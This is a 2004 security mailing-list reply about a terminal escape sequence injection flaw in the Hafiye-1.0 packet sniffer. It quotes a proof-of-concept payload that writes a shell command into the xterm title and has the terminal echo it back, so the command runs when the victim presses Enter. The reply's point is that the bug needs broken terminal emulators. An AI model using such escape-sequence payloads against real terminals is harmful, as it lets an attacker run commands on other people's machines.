Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability

[Jan Minar <jjminar () fastmail fm>]

On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:
> If Hafiye has been started with -n packet count option ,
> the vulnerability could allow remote code execution.
> For remote code execution  the victim must press Enter after program exit.

>                        "\x1b""]2;Insecure?""\x07\x0a",
>                        "\x07\x07\x07\x07\x07\x07",
>                        "\x1b""]2;;echo Owned > /root/Owned.txt"
>                        "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
>                        "Abnormal Termination""\x1b"
>                        "[8m;""\x0a"};

That is, with broken terminals/emulators, such as is rxvt in Debian
Woody (at the time of my writing this).  These devices/programs should
have been fixed long time ago in the first place.  (Not that (albeit
crippled) echo-back escape sequences were a good idea anyway.)

Jan.


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